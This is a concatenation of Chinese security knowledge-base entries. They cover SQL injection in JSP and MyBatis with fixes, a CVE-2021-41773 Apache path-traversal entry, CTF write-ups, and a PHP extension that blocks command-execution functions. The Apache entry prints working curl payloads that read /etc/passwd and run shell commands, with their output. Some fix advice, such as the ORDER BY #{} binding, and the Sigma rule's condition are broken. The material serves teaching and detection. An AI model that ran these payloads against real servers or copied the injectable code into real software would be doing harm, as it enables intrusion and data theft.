如果 \fBpg_resetxlog\fR 抱怨说它无法判断用于 pg_control 的有效数据,那么你可以强制它继续处理, 方法是声明 -f (强制)开关。在这种情况下,那些丢失了的数据的值将用模糊的近似数值代替。 大多数字段都可以匹配上,但是下一个 OID,下一个事务 ID,WAL 开始地址以及数据库区域字段可能需要手工帮助, 前面三个可以用下面讨论的开关设置。pg_resetxlog 自己的环境是猜测区域字段的来源;看看 LANG 等等东西,它们应该和 initdb 运行的环境相匹配。 如果你不能判断所有这些字段的正确数值,那么还是可以使用 -f, 但是这样恢复过来的数据库更要怀疑有问题:立即转储和重置是必须的。 在转储之前不要执行任何修改数据的操作,因为任何这样的动作都可能把事情搞得更糟糕。
.PP
-o, -x, 和 -l 开关允许我们手工设置下一个 OID,下一个事务 ID,以及 WAL 起始位置的数值。 只有在 pg_resetxlog 无法通过读取 pg_control 判断合适的数值的时候才需要它。对于下一个事务 ID 而言,一个安全的数值是看看数据目录里的 /pg_clog 里数值最大的文件名, 然后加一,然后再乘上 1048576。请注意那些文件名是十六进制的。通常我们也以十六进制的形式声明开关值是最简单得。 比如,如果 \fI0011\fR 是 pg_clog 里 最大的记录,-x 0x1200000 就可以了(后面的五个零提供了合适的乘积)。 WAL 的起始位置应该比目前存在于数据目录里得 /pg_xlog 里面的任何文件号都大。它也是十六进制的,并且有两部分。比如,如果 000000FF0000003A 是 pg_xlog 里最大的条目, 那么-l 0xFF,0x3B 就可以了。我们没有很容易的办法来判断比数据库中最大的 OID 大一号的下一个 OID, 不过很走运的是获取正确的下一个 OID 并非非常关键。
.PP
开关 -n (无操作)指示 pg_resetxlog 打印从 pg_control 重新构造的数值然后不修改任何值就退出。 这主要是一个调试工具,但是在 pg_resetxlog 真正处理前进行的整洁性检查的时候可能会有用。
.SH "NOTES 注意"
.PP
在 postmaster 服务器运行的时候一定不要运行这个命令。 如果发现在数据文件目录里有锁文件,那么 pg_resetxlog 将拒绝启动。如果 postmaster 崩溃,那么可能会剩下一个锁文件; 如果这样,你可以删除该锁文件以便允许 pg_resetxlog 运行。但是在你这么做之前,一定要确信没有任何postmaster或者后端服务器仍在运行。
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
# SQL注入
## jdbc
> 需要将mysql-connector-java-8.0.28.jar放到tomcat的lib目录下面
SQL代码
```sql
CREATE TABLE users (
id INT PRIMARY KEY,
name VARCHAR(50) NOT NULL
);
INSERT INTO users (id, name)
VALUES (1, 'Alice'), (2, 'Bob'), (3, 'Charlie');
```
漏洞代码
```jsp
<%@page import="java.sql.*"%>
<%
String name = request.getParameter("name");
String query = "SELECT * FROM users WHERE name = '" + name + "'";
// 设置数据库连接
String url = "jdbc:mysql://192.168.32.130:3306/test";
String username = "root";
String password = "123456";
Class.forName("com.mysql.jdbc.Driver");
Connection conn = DriverManager.getConnection(url, username, password);
// 执行查询
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(query);
// 显示查询结果
out.println("<table>");
out.println("<tr><th>ID</th><th>Name</th></tr>");
while (rs.next()) {
int id = rs.getInt("id");
String uname = rs.getString("name");
out.println("<tr><td>" + id + "</td><td>" + uname + "</td></tr>");
}
out.println("</table>");
// 关闭数据库连接
rs.close();
stmt.close();
conn.close();
%>
```

### 修复代码(预编译)
```java
String query = "SELECT * FROM users WHERE name = ?";
// 执行查询
PreparedStatement stmt = conn.prepareStatement(query);
stmt.setString(1, name);
ResultSet rs = stmt.executeQuery();
```
预编译语句是一种更安全和更高效的处理方式,它无法处理某些情况,例如like和order by子句中的动态值。
为了解决这些问题,有几种可行的方法:
1. 在使用字符串拼接构建SQL语句时,必须对动态值进行适当的转义和验证,以避免SQL注入攻击。
例如,在使用like子句时,可以这样处理:
```java
String username = request.getParameter("username");
String sql = "SELECT * FROM users WHERE username LIKE ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, "%" + username.replace("%", "\\%").replace("_", "\\_") + "%");
ResultSet rs = stmt.executeQuery();
```
2. 对于无法使用预编译的查询,可以在编写代码时尽量将动态值分离出来,使其成为固定的字符串。
例如,在使用order by子句时,可以这样处理:
```java
String sort = req.getParameter("sort");
String sql = "SELECT * FROM users ORDER BY " + validateSort(sort);
PreparedStatement stmt = conn.prepareStatement(sql);
ResultSet rs = stmt.executeQuery();
private String validateSort(String sort) {
// 对sort参数进行验证和转义,确保只包含允许的字段名和排序方式(ASC或DESC),以避免SQL注入攻击
if (sort == null) {
return "id ASC"; // 默认排序方式
}
String[] parts = sort.split(" ");
if (parts.length != 2 || (!"ASC".equals(parts[1]) && !"DESC".equals(parts[1]))) {
return "id ASC"; // 非法排序参数,使用默认排序方式
}
String field = parts[0];
// 对field进行验证和转义,确保只包含允许的字段名
if (!"id".equals(field) && !"name".equals(field) && !"age".equals(field)) {
return "id ASC"; // 非法排序字段,使用默认排序方式
}
return field + " " + parts[1];
}
```
## mybatis+springboot
使用MyBatis和Spring Boot的示例代码的典型目录结构
```css
├── src
│ ├── main
│ │ ├── java
│ │ │ └── com
│ │ │ └── example
│ │ │ ├── controller
│ │ │ │ └── UserController.java
│ │ │ ├── mapper
│ │ │ │ └── UserMapper.java
│ │ │ ├── model
│ │ │ │ └── User.java
│ │ │ ├── service
│ │ │ │ └── UserService.java
│ │ │ └── MyApplication.java
│ │ └── resources
│ │ ├── mapper
│ │ │ └── UserMapper.xml
│ │ └── application.properties
│ └── test
│ └── java
│ └── com
│ └── example
│ └── service
│ └── UserServiceTest.java
└── pom.xml
```
创建一个maven项目,名字是example。

{% tabs %}
{% tab title="UserController.java" %}
```java
package com.example.controller;
import com.example.mapper.UserMapper;
import com.example.model.User;
import com.example.service.UserService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
import java.util.List;
@RestController
public class UserController {
@Autowired
private UserService userService;
@Autowired
private UserMapper userMapper;
// http://127.0.0.1:8080/users/1/
@GetMapping(value = "/users/{id}", produces = "application/json")
public ResponseEntity<User> getUser(@PathVariable String id) {
User user = userService.findById(id);
return ResponseEntity.ok(user);
}
// http://127.0.0.1:8080/users/ids/?ids=1,2,3
@GetMapping("/users/ids")
public List<User> findUsersByIds(@RequestParam String ids) {
List<User> users = userMapper.findUsersByIds(ids);
return users;
}
// http://127.0.0.1:8080/users/name?name=A
@GetMapping("/users/name")
public List<User> findUsersByNameLike(@RequestParam String name) {
List<User> users = userMapper.findUsersByNameLike(name);
return users;
}
// http://127.0.0.1:8080/users/sort?orderByColumn=name&orderByDirection=asc
@GetMapping("/users/sort")
public List<User> findUsersOrderBy(@RequestParam String orderByColumn, @RequestParam String orderByDirection) {
List<User> users = userMapper.findUsersOrderBy(orderByColumn, orderByDirection);
return users;
}
// http://127.0.0.1:8080/users/names?names=Alice&names=Bob
@GetMapping("/users/names")
public List<User> findUsersByNames(@RequestParam List<String> names) {
List<User> users = userMapper.findUsersByNames(names);
return users;
}
}
```
{% endtab %}
{% tab title="UserMapper.java" %}
```java
package com.example.mapper;
import com.example.model.User;
import org.apache.ibatis.annotations.Mapper;
import org.apache.ibatis.annotations.Param;
import java.util.List;
@Mapper
public interface UserMapper {
User findById(@Param("id") String id);
List<User> findUsersByIds(@Param("ids") String ids);
List<User> findUsersByNameLike(@Param("name") String name);
List<User> findUsersOrderBy(@Param("orderByColumn") String orderByColumn, @Param("orderByDirection") String orderByDirection);
List<User> findUsersByNames(@Param("names") List<String> names);
}
```
{% endtab %}
{% tab title="User.java" %}
```java
package com.example.model;
public class User {
private Long id;
private String name;
private Integer age;
public User() {
// empty constructor required by some frameworks
}
public User(Long id, String name, Integer age) {
this.id = id;
this.name = name;
this.age = age;
}
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Integer getAge() {
return age;
}
public void setAge(Integer age) {
this.age = age;
}
}
```
{% endtab %}
{% tab title="UserService.java" %}
```java
package com.example.service;
import com.example.mapper.UserMapper;
import com.example.model.User;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
@Service
public class UserService {
@Autowired
private UserMapper userMapper;
public User findById(String id) {
return userMapper.findById(id);
}
}
```
{% endtab %}
{% tab title="MyApplication.java" %}
```java
package com.example;
import org.mybatis.spring.annotation.MapperScan;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
@MapperScan("com.example.mapper")
public class MyApplication {
public static void main(String[] args) {
SpringApplication.run(MyApplication.class, args);
}
}
```
{% endtab %}
{% tab title="UserMapper.xml" %}
```java
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.example.mapper.UserMapper">
<select id="findById" resultType="User">
SELECT * FROM users WHERE id = '${id}'
</select>
<select id="findUsersByIds" resultType="User">
SELECT * FROM users
WHERE id IN (${ids})
</select>
<select id="findUsersByNameLike" resultType="User">
SELECT * FROM users
WHERE name LIKE '%${name}%'
</select>
<select id="findUsersOrderBy" resultType="User">
SELECT * FROM users
ORDER BY ${orderByColumn} ${orderByDirection}
</select>
<select id="findUsersByNames" resultType="User">
SELECT * FROM users
WHERE name IN
<foreach item="name" collection="names" open="(" separator="," close=")">
'${name}'
</foreach>
</select>
</mapper>
```
{% endtab %}
{% tab title="application.properties" %}
```python
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
spring.datasource.url=jdbc:mysql://192.168.32.130:3306/test?characterEncoding=utf8&useSSL=true
spring.datasource.username=root
spring.datasource.password=123456
mybatis.type-aliases-package=com.example.model
mybatis.mapper-locations=classpath:mapper/*.xml
```
{% endtab %}
{% endtabs %}
### 修复代码
{% tabs %}
{% tab title="通用修复" %}
在 MyBatis 中,你可以使用占位符(?)来表示参数,这样就可以将参数值与 SQL 语句分离。在 mapper XML 文件中,你可以使用 `<select>`、`<insert>` 或 `<update>` 标签来定义 SQL 语句,然后使用 `#{}` 占位符来引用参数。例如:
```xml
<select id="getUserById" parameterType="Long" resultType="User">
SELECT * FROM users WHERE id = #{id}
</select>
```
{% endtab %}
{% tab title="in查询修复" %}
当你使用参数化查询时,MyBatis 会自动将 SQL 语句转换为预编译语句,从而避免 SQL 注入攻击。预编译语句将会在 SQL 执行之前进行编译和解析,因此恶意注入的代码将无法被执行。
在 mapper XML 文件中,你可以使用 `#{}` 占位符来引用参数。例如:
```xml
<select id="findUsersByNames" resultType="User">
SELECT * FROM users
WHERE name IN
<foreach item="name" collection="names" open="(" separator="," close=")">
#{name}
</foreach>
</select>
```
{% endtab %}
{% tab title="like修复" %}
避免在 SQL 语句中拼接参数值,因为这样容易受到 SQL 注入攻击。如果你需要在 SQL 语句中拼接字符串或其他类型的值,请使用 MyBatis 内置的**字符串函数或者使用占位符**来引用参数。
```xml
<select id="getUserByName" parameterType="String" resultType="User">
SELECT * FROM users WHERE name LIKE CONCAT('%', #{name}, '%')
</select>
```
{% endtab %}
{% tab title="orderby简单修复" %}
在 mapper XML 文件中,你可以使用 `<select>`、`<insert>` 或 `<update>` 标签来定义 SQL 语句,然后使用 `#{}` 占位符来引用参数。例如:
```xml
<select id="findUsers" parameterType="map" resultType="User">
SELECT * FROM users
WHERE name LIKE #{name}
ORDER BY #{orderByColumn} #{orderByDirection}
</select>
```
{% endtab %}
{% tab title="orderby自定义修复" %}
在这个例子中,`findUsers` 方法将会接收一个 `Map` 类型的参数,并返回匹配的 `User` 对象列表。`#{orderByColumn}` 和 `#{orderByDirection}` 占位符将会将参数值安全地插入到 SQL 语句中,并避免了 SQL 注入攻击。
为了避免 SQL 注入攻击,你应该限制 ORDER BY 子句中的列名只能为预定义的值。你可以在代码中定义一个白名单,只允许一些特定的列名。例如:
```java
package com.example.service;
import com.example.mapper.UserMapper;
import com.example.model.User;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.Arrays;
import java.util.List;
@Service
public class UserService {
@Autowired
private UserMapper userMapper;
private static final List<String> ALLOWED_COLUMNS = Arrays.asList("id", "name", "age");
private static final List<String> ALLOWED_DIRECTIONS = Arrays.asList("asc", "desc");
public UserService(UserMapper userMapper) {
this.userMapper = userMapper;
}
public List<User> findUsersOrderBy(String orderByColumn, String orderByDirection) {
if (!ALLOWED_COLUMNS.contains(orderByColumn)) {
throw new IllegalArgumentException("Invalid column name: " + orderByColumn);
}
if (!ALLOWED_DIRECTIONS.contains(orderByDirection)) {
throw new IllegalArgumentException("Invalid direction: " + orderByDirection);
}
return userMapper.findUsersOrderBy(orderByColumn, orderByDirection, ALLOWED_COLUMNS, ALLOWED_DIRECTIONS);
}
}
```
```Java
package com.example.mapper;
import com.example.model.User;
import org.apache.ibatis.annotations.Mapper;
import org.apache.ibatis.annotations.Param;
import java.util.List;
@Mapper
public interface UserMapper {
List<User> findUsersOrderBy(
@Param("orderByColumn") String orderByColumn,
@Param("orderByDirection") String orderByDirection,
@Param("allowedColumns") List<String> allowedColumns,
@Param("allowedDirections") List<String> allowedDirections);
}
```
```xml
<select id="findUsersOrderBy" resultType="User">
SELECT * FROM users
<if test="allowedColumns.contains(orderByColumn) and allowedDirections.contains(orderByDirection)">
ORDER BY ${orderByColumn} ${orderByDirection}
</if>
</select>
```
```java
@GetMapping("/users/sort")
public List<User> findUsersOrderBy(
@RequestParam String orderByColumn,
@RequestParam(defaultValue = "ASC") String orderByDirection) {
return userService.findUsersOrderBy(orderByColumn, orderByDirection);
}
```
{% endtab %}
{% endtabs %}
|
sec-knowleage
|
sleep
===
将目前动作延迟一段时间
## 补充说明
**sleep命令** 暂停指定的时间。
### 语法
```shell
sleep(参数)
```
### 参数
时间:指定要暂停时间的长度, 包括如下:
* `2s`: 2秒
* `2m`: 2分钟
* `2h`: 2小时
* `2d`: 2天
* `infinity`: 永久
### 实例
有时在写一些以循环方式运行的监控脚本,设置时间间隔是必不可少的,下面是一个Shell进度条的脚本演示在脚本中生成延时。
```shell
#!/bin/bash
b=''
for ((i=0;$i<=100;i++))
do
printf "Progress:[%-100s]%d%%\r" $b $i
sleep 0.1
b=#$b
done
echo
```
|
sec-knowleage
|
# Three Days of Darkness
## Description
> > “Then the Lord said to Moses, ‘Stretch out your hand toward heaven, that there may be darkness over the land of Egypt, darkness which may even be felt.’ So Moses stretched out his hand toward heaven, and there was thick darkness in all the land of Egypt three days” (Exodus 10:21-22).
>
> Adjust your eyes for the darkness is here, Don't get lost, may the path will appear. Remember to search for what was vanished. You need to hurry in order to be banished.
An `E01` file was attached.
## Solution
What's an `E01` file?
> The E01 file extension stands for EnCase image file format used by EnCase software. The file is used to store digital evidence including volume images, disk image, memory and logical files.
We can use a tutorial such as [this one](https://dfir.science/2022/05/Linux-Forensics-on-Linux-Cyber5W-CTF-Walkthrough) to mount the image file on Linux and browse the different files, but all we can find is tons of `FLAGx.txt` files with false flag. If we open the image with `autopsy` on the other hand, we get access to additional deleted folders which weren't accessible previously:

The flag file is the only large file among them. The flag is displayed in ASCII art to prevent grepping for it:
```
( * ) ) ) (
( )\ ) ( ` ( ( /( * ) ( ( ( /( ( /( )\ )
( )\ (()/( )\))( )\ )\()) ` ) /( ( )\ )\ )\()) )\())(()/(
)((_) /(_))((_)()\ (((_) ((_)\ ( )(_)) )\ (((_)((((_)( ((_)\ ((_)\ /(_))
((_)_ (_)) (_()((_) )\___ _((_) __(_(_()) _ ((_) )\___ )\ _ )\ _((_) _((_)(_)) __
| _ )/ __| | \/ |((/ __|| || | / /|_ _|| | | |((/ __|(_)_\(_)| \| ||_ / |_ _|\ \
| _ \\__ \ | |\/| | | (__ | __ |_| | | | | |_| | | (__ / _ \ | .` | / / | | | |_
|___/|___/ |_| |_| \___||_||_| | | |_| \___/ \___|/_/ \_\ |_|\_|/___| |___| | |
\_\ /_/
```
The flag: `BSMCH{TUCANZI}`
|
sec-knowleage
|
# T1190-CVE-2021-41773-Apache HTTP Server 2.4.49路径穿越漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.49版本中,引入了一个路径穿越漏洞,满足下面两个条件的Apache服务器将会受到影响:
版本等于2.4.49
穿越的目录允许被访问,比如配置了<Directory/>Require all granted</Directory>。(默认情况下是不允许的)
攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。
## 漏洞详情
使用如下CURL命令来发送Payload(注意其中的/icons/必须是一个存在且可访问的目录):
```yml
curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
```
可见,成功读取到/etc/passwd:
```yml
* Trying 10.211.55.10...
* TCP_NODELAY set
* Connected to 10.211.55.10 (10.211.55.10) port 8080 (#0)
> GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
> Host: 10.211.55.10:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Sun, 10 Oct 2021 03:40:43 GMT
< Server: Apache/2.4.49 (Unix)
< Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT
< ETag: "39e-5cceec7356000"
< Accept-Ranges: bytes
< Content-Length: 926
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
* Connection #0 to host 10.211.55.10 left intact
* Closing connection 0
```
在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令:
```yml
curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
```
```yml
* Trying 10.211.55.10...
* TCP_NODELAY set
* Connected to 10.211.55.10 (10.211.55.10) port 8080 (#0)
> POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
> Host: 10.211.55.10:8080
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Length: 7
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 7 out of 7 bytes
< HTTP/1.1 200 OK
< Date: Sun, 10 Oct 2021 03:45:29 GMT
< Server: Apache/2.4.49 (Unix)
< Transfer-Encoding: chunked
<
uid=1(daemon) gid=1(daemon) groups=1(daemon)
* Connection #0 to host 10.211.55.10 left intact
* Closing connection 0
```
## 检测日志
HTTP.log
```http.log
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 10.211.55.10:8080
User-Agent: curl/7.64.1
Accept: */*
HTTP/1.1 200 OK
Date: Sun, 10 Oct 2021 03:36:46 GMT
Server: Apache/2.4.49 (Unix)
Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT
ETag: "39e-5cceec7356000"
Accept-Ranges: bytes
Content-Length: 926
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
```
```http.log
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 10.211.55.10:8080
User-Agent: curl/7.64.1
Accept: */*
Content-Length: 7
Content-Type: application/x-www-form-urlencoded
echo;idHTTP/1.1 200 OK
Date: Sun, 10 Oct 2021 03:36:51 GMT
Server: Apache/2.4.49 (Unix)
Transfer-Encoding: chunked
2d
uid=1(daemon) gid=1(daemon) groups=1(daemon)
0
```
## 测试复现
可参考漏洞详情部分
## 检测规则/思路
### sigma规则
```yml
title: CVE-2021-41773-Apache HTTP Server 2.4.49路径穿越漏洞
status: 测试状态
description: 基于HTTP日志进行检测
references:
- https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-41773/README.zh-cn.md
- https://www.t00ls.cc/viewthread.php?tid=62967&highlight=CVE-2021-41773
detection:
selection1:
cs-method: 'POST' #请求方法为POST
c-uri: #请求url中包含以下路径
- '.%2e/.%2e/.%2e/.%2e'
selection2:
cs-method: 'GET' #请求方法为GET
c-uri: '.%2e/%2e%2e/%2e%2e/%2e%2e/'
condition: selection
fields:
- c-ip
- c-dns
falsepositives:
- 观察返回状态码是否为200 OK。
level: high
```
### 建议
建议使用HTTP流量+安全设备(如天眼等)进行检测分析判断攻击是否成功。
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
CVE-2021-41773 Apache漏洞分析及RCE思路
<https://www.t00ls.cc/viewthread.php?tid=62967&highlight=CVE-2021-41773>
Apache HTTP Server 2.4.49 路径穿越漏洞(CVE-2021-41773)
<https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-41773/README.zh-cn.md>
|
sec-knowleage
|
# Photo Gallery - FLAG1
## 0x00 Index

## 0x01 Check Image Source

The image link looks like injectable
http://127.0.0.1/xxxxxxxxxx/fetch?id=1

Tried with the following
```sql
fetch?id=1 and 1=1
fetch?id=1 and 1=2
```
1=1 works but 1=2 does not and shows some error.

## 0x02 Blind Injection
Do it with SqlMap.
```
python sqlmap.py -u http://127.0.0.1/xxxxxxxxxx/fetch?id=1 --dump
```

|
sec-knowleage
|
from Crypto.Cipher import DES
f = open('key.txt', 'r')
key_hex = f.readline()[:-1] # discard newline
f.close()
KEY = key_hex.decode("hex")
IV = '13245678'
a = DES.new(KEY, DES.MODE_OFB, IV)
f = open('plaintext', 'r')
plaintext = f.read()
f.close()
ciphertext = a.encrypt(plaintext)
f = open('ciphertext', 'w')
f.write(ciphertext)
f.close()
|
sec-knowleage
|
原文 by [tsrc 博客](https://security.tencent.com/index.php/blog/msg/57)
## 1 背景概述
WEB应用漏洞导致的入侵时有发生,扫描器和WAF并不能解决所有的问题,于是尝试在主机侧针对PHP环境做了一个防御方案。很荣幸的邀请到TSRC部分白帽子做了一次对抗演习,本文主要分享一下防御思路。
防御方案主要想解决的问题是getshell、主机敏感文件泄漏等问题。于是乎出了下面这样一个题目:部署了防御方案的Nginx + PHP 的WEB环境,提供一个上传入口,可上传任意文件。找到WEB目录下的一个flag文件读取到内容即算突破。
## 2 PHP扩展
防御方案使用了PHP扩展来完成阻断。PHP内核支持C/C++开发一些扩展功能,并且提供了一个框架 - ext_skel帮助生成基本的代码简化开发,由于PHP扩展并不涉及底层的资源管理,所以编写一个PHP扩展和编写一个C应用程序是一样的。下图展示了PHP扩展所处的结构层次,扩展位于PHP内核ZEND 和 PHP应用层代码之间,那么利用PHP扩展可以:
1)监控PHP应用层代码的执行细节,包括执行CGI、函数名、参数等;
2)调用PHP内核ZEND提供的API接口,包括禁用类、修改配置选项等。

图1 PHP语言的结构
## 3 相关知识
### 3.1 HOOKPHP代码
PHP是解释型语言,代码被翻译为中间字节码由ZEND引擎解析执行。PHP把中间字节码称之为OPCODE,每个OPCODE对应ZEND底层的一个处理函数,ZEND引擎最终执行这个处理函数。实现HOOK功能只需要改变HOOK OPCODE对应的处理函数即可,而ZEND预先就提供了一个现成的接口:`zend_set_user_opcode_handler`。防御方案只需要HOOK以下三个OPCODE:
`ZEND_INCLUDE_OR_EVAL` — eval、require等
`ZEND_DO_FCALL` — 函数执行system等
`ZEND_DO_FCALL_BY_NAME` — 变量函数执行 `$func = “system”;$func();`
举例:
`ZEND_DO_FCALL`这个OPCODE对应的功能是函数调用,如果需要HOOK所有的函数调用:
1) 在模块初始化函数中使用zend_set_user_opcode_handler修改ZEND_DO_FCALL新的处理函数为mysub:
```
PHP_MINIT_FUNCTION(phpips){
zend_set_user_opcode_handler(ZEND_DO_FCALL, mysub);
return SUCCESS;
}
```
2) 在自定义函数中实现自己需要的功能并返回原来的处理函数:
```
void mysub(){
自定义功能;
return ZEND_USER_OPCODE_DISPATCH;
}
```
### 3.2 ZEND接口
HOOK之外还需要获取一些基本信息或功能,比如:
1) 获取执行的PHP脚本名,可调用ZEND的接口`zend_get_executed_filename`:
`char *cgi_name = (char*)zend_get_executed_filename(TSRMLS_C);`
2) 禁用一些类库,可使用zend_disable_class接口;
ZEND提供了很多丰富的接口,可根据需求选择调用。
### 3.3 数据结构
PHP是弱类型语言,其上层并不区分变量类型,变量底层对应的是一个union结构体,以php-5.3.6版本举例,结构体在Zend/zend.h文件中定义;内容如下:
```
typedef union _zvalue_value {
long lval; /* longvalue */
double dval; /* double value */
struct {
char *val;
int len;
} str;
HashTable *ht; /* hash table value*/
zend_object_value obj;
} zvalue_value;
```
PHP是在底层区分开了变量类型;在union结构体中有个非常重要的结构体HashTable,PHP中的数组结构就是利用HashTable这个结构体实现,如果变量是个数组,获取变量内容需要遍历这块HashTable,数据结构这块不做太多介绍。ZEND底层用zval这个结构体存储变量,同时ZEND提供了几个宏可以方便的转换zval到具体的数据类型,比如把zval类型转换为字符串 -- `zval el; Z_STRVAL_P(el)`,常用的还有:
`Z_LVAL_P` 、`Z_DVAL_P` 、`Z_ARRVAL_P`等,以上宏列表在 `Zend/zend_operators.h` 有定义。
## 4 规则策略
### 4.1 基本思路
我们需要解决的问题是getshell、主机敏感文件泄漏等问题。如果限制住PHP脚本执行命令 和 翻阅文件的功能,就达到了目的。同时,由于读取文件的接口非常多,使用场景也较多,因此采取禁用打开目录接口来侧面达到禁止翻阅文件的目的,不能遍历目录便无法得到文件名,可以有效的达到目标。故最终形成的最终策略如下:
1) 禁用掉执行命令的接口
2) 禁用掉打开目录的接口
禁用函数有一些需要注意的问题:
1) PHP接口还是比较繁多复杂的,除了system、exec、opendir、scandir常用函数之外,一些生僻函数比如glob等函数都要考虑全面,另外还有一些回调函数、反射类
2) PHP SPL提供的一些类库有文件管理的功能,也需要禁止,比如`DirectoryIterator`(不过好像没有白帽子使用过SPL)
### 4.2 对抗变形
PHP使用`assert`或 `preg_replace /e`执行代码,调用`zend_get_executed_filename` 获取的PHP脚本名中会带有辨别标识,assert对应的是`assert code`,`preg_replace` 对应的是`regexp code`;当发现这些特殊的脚本执行了`system` 等4.1中提高的高危函数直接阻断。以下图的`nonalphanumeric -webshell`举例:
变形webshell解析后的形式和`$_GET[1]($_GET[2])`类似,比如传入`1=assert&2=system(whoami)`执行代码,PHP扩展层监控到system函数执行,并且发现PHP脚本名带regexp code标识,清晰的知道是preg_replace的代码执行了调用了system,阻断system。Assert函数同理。总结:扩展并不关注在静态层如何编码运算或加密,扩展只监控最后的行为,所以可以很好的解决目前的变形难题。

### 4.3 减少误杀
有时正常的PHP脚本也需要用到命令执行的功能,如何保证其正常运行,不被我们的防御策略阻断呢?这里提供三种思路:
1) 写入权限和执行命令权限互斥
考虑到入侵者利用上传漏洞或者其他0DAY getshell得到的文件大多会有W写权限,防御方往往希望阻止这部分文件拥有过高的权限。
那么,我们可以去除正常PHP脚本的可写权限,然后只对有写权限的PHP脚本实施命令执行等防御策略的阻断逻辑。这样即不会影响到业务的使用,又达到了预设场景的防护目标。不过这样的思路,需要禁用chmod等可以修改文件权限的函数。
2) 使用白名单逻辑
